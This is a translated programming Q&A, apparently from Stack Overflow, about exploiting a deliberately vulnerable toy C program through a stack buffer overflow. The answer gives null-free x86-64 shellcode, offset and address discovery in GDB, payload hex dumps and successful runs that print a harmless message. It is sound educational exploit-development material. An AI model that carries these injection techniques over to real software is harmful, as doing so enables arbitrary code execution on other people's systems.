簡體   English   中英

無法在易受攻擊的程序中注入 shellcode

[英]Unable to inject shellcode in vulnerable program

我正在研究基於堆棧的緩沖區溢出漏洞。 我想注入我寫的以下 shellcode:

BITS 64

jmp short one

two:
    pop rcx
    xor rax,rax
    mov al, 4
    xor rbx, rbx
    inc rbx
    xor rdx, rdx
    mov dl, 15
    int 0x80

    mov al, 1
    dec rbx
    int 0x80

one:
    call two
    db "Hello, Friend.\n", 0x0a

我禁用了 ASLR ( echo 0 > /proc/sys/kernel/randomize_va_space ) 並使用-fno-stack-protector -z execstack編譯了程序,但仍然在我運行命令時:

root@computer# ./simple $(python3 -c 'print("A" * 64 + "\x6b\xe7\xff\xff\xff\x7f")')

這就是我得到的:

Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkçÿÿÿ
Segmentation fault

偏移量(64)是在gdb中計算的(變量緩沖區和rbp之間的距離)。 命令中的地址是0x7fffffffe76b的小字節序,即 shellcode 所在的環境變量。我還對注入的程序進行了 hexdump,確保不存在空字節:

00000000  eb 1a 59 48 31 c0 b0 04  48 31 db 48 ff c3 48 31  |..YH1...H1.H..H1|
00000010  d2 b2 0f cd 80 b0 01 48  ff cb cd 80 e8 e1 ff ff  |.......H........|
00000020  ff 48 65 6c 6c 6f 2c 20  46 72 69 65 6e 64 2e 5c  |.Hello, Friend.\|
00000030  6e 0a                                             |n.|
00000032

地址是使用以下方法計算的:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    int pl = strlen(*argv);
    char *addr = getenv(*++argv);
    addr += (pl - strlen(*++argv))*2;
    printf("\n%s @ %p\n\n", *--argv, addr);
}

Jon Erickson 書中程序的更改版本。

這是有漏洞的程序:

//simple.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void hidden(void){
    printf("Welcome to the dark side, young padawan");
    exit(0);
}

void welcome(char *s){
    char buffer[50];
    //int placeholder = 13;
    strcpy(buffer, "Welcome ");
    strcat(buffer, s);
    printf("%s\n", buffer);
}

int main(int argc, char **argv){
    if(--argc < 1){
        printf("\nUsage: %s [NAME]\n\n", *argv);
        exit(1);
    }
    welcome(*++argv);
}

最后,我深入使用 GDB,發現了一件奇怪的事情,我不知道如何避免(或修復):

(gdb) p $rbp - $rsp
$1 = 80
(gdb) x/48x $rsp-80
0x7fffffffdd90: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffdda0: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffddb0: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffddc0: 0x00000000  0x00000000  0xf7ffe180  0x00007fff
0x7fffffffddd0: 0x00000002  0x00000000  0x555551bf  0x00005555
0x7fffffffdde0: 0x00000000  0x00000000  0xffffe2cf  0x00007fff
0x7fffffffddf0: 0x636c6557  0x20656d6f  0x41414141  0x41414141
0x7fffffffde00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffde10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffde20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffde30: 0x41414141  0x41414141  0xafc394c2  0xc335b8c3
0x7fffffffde40: 0xff007fbc  0x00007fff  0x00000000  0x00000001
(gdb) c
Continuing.
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAïø5ü

Program received signal SIGSEGV, Segmentation fault.
0x00005555555551cd in welcome (s=0x7fffffffe2cf 'A' <repeats 64 times>, "\302\224ïø5ü\177") at simple.c:16
16  }

在填充 ( 0x41 ) 之后,返回地址由於\xff的雙字節表示而被破壞。

有人可以幫助我理解為什么我無法注入 shellcode 嗎?

首先,在利用 64 位可執行文件時使用 64 位代碼。 int 0x80是舊的 32 位系統調用接口

其次,您可以在緩沖區本身中傳遞 shellcode,使其同時充當 shellcode 和填充。 如果您仍想使用環境變量,請參閱下文。

在緩沖區中傳遞 shellcode

我不會全局禁用 ASRL,而是依靠 GDB 設置調試進程的適當個性來單獨禁用 ASRL。
由於進程從命令行讀取字符串,這變得棘手(但不多),因為命令行參數會將堆棧指針向下移動(它們越大,堆棧指針越低)在程序入口點( Linux 將環境變量和命令行參數保存在堆棧之上)。
這將更改加載 shellcode 的實際地址。

所以你首先需要知道 shellcode 有多大,為此你還需要知道覆蓋返回地址需要多少數據,你可以通過檢查welcome的反匯編來做到這一點。
對於一個如此簡單的函數, objdump就足夠了:

000000000000118b <welcome>:
    118b:   55                      push   %rbp
    118c:   48 89 e5                mov    %rsp,%rbp
    118f:   48 83 ec 50             sub    $0x50,%rsp
    1193:   48 89 7d b8             mov    %rdi,-0x48(%rbp)    ;message

    1197:   48 8d 45 c0             lea    -0x40(%rbp),%rax    ;buffer
    119b:   48 b9 57 65 6c 63 6f    movabs $0x20656d6f636c6557,%rcx "Welcome "
    11a2:   6d 65 20 
    11a5:   48 89 08                mov    %rcx,(%rax)
    11a8:   c6 40 08 00             movb   $0x0,0x8(%rax)      

    11ac:   48 8b 55 b8             mov    -0x48(%rbp),%rdx    ;message
    11b0:   48 8d 45 c0             lea    -0x40(%rbp),%rax    ;buffer
    11b4:   48 89 d6                mov    %rdx,%rsi
    11b7:   48 89 c7                mov    %rax,%rdi
    11ba:   e8 91 fe ff ff          call   1050 <strcat@plt>   ;<--

    11bf:   48 8d 45 c0             lea    -0x40(%rbp),%rax
    11c3:   48 89 c7                mov    %rax,%rdi
    11c6:   e8 65 fe ff ff          call   1030 <puts@plt>
    11cb:   90                      nop
    11cc:   c9                      leave
    11cd:   c3                      ret

您可以從我的評論中看到字符串buffer位於rbp-0x40
所以我們需要 64 個字節到達幀指針加上 8 個字節到達返回地址加上返回地址本身的 8 個字節。
但是我們在字符串"Welcome "之后開始,因為這是一個strcat ,所以總的 shellcode 大小是 64 + 8 + 8 - 8 = 72 字節。

創建一個 72 字節的文件:

> python -c 'print("A"*72, end="")' > shellcode

現在使用這個文件和 GDB 找出buffer的地址:

> gdb ./simple -ex 'b welcome' -ex 'r $(cat shellcode)' -ex 'p &buffer'
...
Breakpoint 1, welcome (s=0x7fffffffe78f 'A' <repeats 72 times>) at simple.c:13
13      strcpy(buffer, "Welcome ");
$1 = (char (*)[50]) 0x7fffffffe2d0

0x7fffffffe2d0是我們現在知道的buffer地址:

  • shellcode 將 8 個字節放入buffer0x7fffffffe2d8
  • 返回地址將是進入 shellcode 的 64 字節(由於上面的考慮)。

是時候編寫一個 shellcode 並對其進行測試了。 由於我們在命令行中傳遞它,因此它也不能包含新行。 然而,打印一個新行對於將當前行刷新到標准輸出很有用,所以我使用了一個丑陋的 hack 在運行時在字符串的末尾創建一個新行。
丑陋的shellcode代碼是:

BITS 64

;Systemcalls numbers
%define SYS_WRITE 1
%define SYS_EXIT 60

;Constants
%define STDOUT 1
%define MASK 0x01010101


;Emulate a zero-free move of a byte
%macro zfmov 2
    push %2
    pop %1
%endm

;Emulate a zero-free "lea" (not 100% safe, if %2 is -MASK the displacement will be zero)
%macro zflea 2
    lea %1, [REL %2 + MASK]     ;Add the mask to avoid zeros for small displacements
    sub %1, MASK            ;Remove the mask
%endm

;--- Write a message ---
zfmov rax, SYS_WRITE
zfmov rdi, STDOUT
zflea rsi, message
mov BYTE [rsi+message.len-1], 0xaa  ;Make the new line replacing the last char of the string
xor BYTE [rsi+message.len-1], 0xa0  ;Turn 0xaa into 0x0a
zfmov rdx, message.len
syscall

;Exit
zfmov rax, SYS_EXIT
xor edi, edi
syscall

message db "Hello!A"        ;Last char is replaced with a new line
  .len EQU $-message

現在組裝這個:

> nasm shellcode.asm -o shellcode

並添加任何填充以使文件大小為 64 字節,然后添加上面找到的返回地址:

0000:0000 | 6A 01 58 6A  01 5F 48 8D  35 1C 01 01  01 48 81 EE | j.Xj._H.5....H.î
0000:0010 | 01 01 01 01  C6 46 06 AA  80 76 06 A0  6A 07 5A 0F | ....ÆF.ª.v. j.Z.
0000:0020 | 05 6A 3C 58  31 FF 0F 05  48 65 6C 6C  6F 21 41 41 | .j<X1ÿ..Hello!AA
0000:0030 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | D8 E2 FF FF  FF 7F 00 00                           | Øâÿÿÿ... 

堆棧按 16 字節對齊,因此只要您的 shellcode 長度在 0x40 和 0x4f 之間(包括末尾),shellcode 地址就不會改變。

最后,運行shellcode:

> gdb ./simple -ex 'r $(cat shellcode)'
...
Welcome jXj_H�5H���F��v�jZj<X1�Hello!AAAAAAAAAAAAAAAAAA�����
Hello!
[Inferior 1 (process 168571) exited normally]

在 envar 中傳遞 shellcode

我假設您閱讀了上面的部分。

envar 的地址取決於它的大小和命令行參數的大小。 命令行參數必須至少有 64 + 6 個字節長(6 是因為返回地址的最后兩個字節為零,所以 6 個就足夠了),shellcode 可以是任意大小。 為了簡單起見,我們可以將兩個文件都設為 70 字節長。
更准確地說:envar 的地址對 shellcode 的字節粒度大小敏感,但它僅在 16B 步(一旦這個數量被稱為段落)上對命令行參數的大小敏感,因為堆棧是在這個尺寸上對齊。

編寫一個具有可識別模式的70 字節文件,例如:

0000:0000 | 43 41 4E 41  52 59 41 41  41 41 41 41  41 41 41 41 | CANARYAAAAAAAAAA
0000:0010 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0020 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0030 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | 41 41 41 41  41 41                                 | AAAAAA 

    

稱之為pattern 這將模擬 shellcode,我們現在需要它有一些我們可以搜索的不同字節。

使用另一種模式創建另一個 70 字節的文件:

0000:0000 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0010 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0020 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0030 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | 41 41 41 41  41 41                                 | AAAAAA 

稱之為placeholder 這將模擬命令行參數。

使用 gdb 查找 envar 的位置。 請記住,我們需要傳遞 70 個字節作為命令行參數來模擬程序運行的條件。
文件placeholder將用於此目的,文件pattern將用於在內存中搜索其第一個字節。

> SC=$(cat pattern) gdb ./simple -ex 'b main' -ex 'r $(cat placeholder)' -ex 'find /b1 $rsp, +3000, 0x43, 0x41, 0x4e, 0x41' -ex 'p $_'
...
Breakpoint 1, main (argc=2, argv=0x7fffffffe3f8) at simple.c:19
19      if(--argc < 1){
0x7fffffffec1f
1 pattern found.
$1 = (void *) 0x7fffffffec1f

現在編輯占位符並將找到的地址放在最后 6 個字節中:

0000:0000 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0010 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0020 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0030 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | 1F EC FF FF  FF 7F                                 | .ìÿÿÿ.          

這是命令行參數的最終值。

最后制作shellcode。 它幾乎是一樣的,但現在我們可以使用值 0x0a 的字節,我將它填充到 70 字節:

BITS 64

;Systemcalls numbers
%define SYS_WRITE 1
%define SYS_EXIT 60

;Constants
%define STDOUT 1
%define MASK 0x01010101


;Emulate a zero-free move of a byte
%macro zfmov 2
    push %2
    pop %1
%endm

;Emulate a zero-free "lea" (not 100% safe, if %2 is -MASK the displacement will be zero)
%macro zflea 2
    lea %1, [REL %2 + MASK]     ;Add the mask to avoid zeros for small displacements
    sub %1, MASK            ;Remove the mask
%endm

;--- Write a message ---
zfmov rax, SYS_WRITE
zfmov rdi, STDOUT
zflea rsi, message
zfmov rdx, message.len
syscall

;Exit
zfmov rax, SYS_EXIT
xor edi, edi
syscall

message db "Hello!", 0x0a       ;Last char is replaced with a new line
  .len EQU $-message
  
TIMES 70 -($-$$) db 'A'

組裝它:

> nasm shellcode.asm -o shellcode

我們現在可以運行它:

> SC=$(cat shellcode)  gdb ./simple -ex 'r $(cat placeholder)'
...
Welcome CANARYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Hello!
[Inferior 1 (process 170902) exited normally] 

它是如何工作的?

Out 的策略是使用 GDB 在程序被利用時復制程序運行時條件。
在第一節中,我們對查找buffer的地址很感興趣,我們意識到這取決於命令行參數的大小,因此我們首先通過靜態分析程序找出buffer的大小,然后我們使用偽造的 shellcode。
利用本身是非常基本的,堆棧是可執行的,返回地址只是被覆蓋以引導執行。

在第二部分中,我們有興趣找到內核放置在堆棧上方的 envar 值的地址。
我們以相同的方式進行,我們使用偽造的命令行參數、具有可識別模式的偽造 shellcode 和 GDB 來查找 envar 值的地址。
這次我們必須更加注意確切的大小,至少對於 shellcode 本身。
利用與前一個類似,但 shellcode 位於一個 envar 中(允許換行符和諸如此類的東西)。 有什么興趣找地址

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM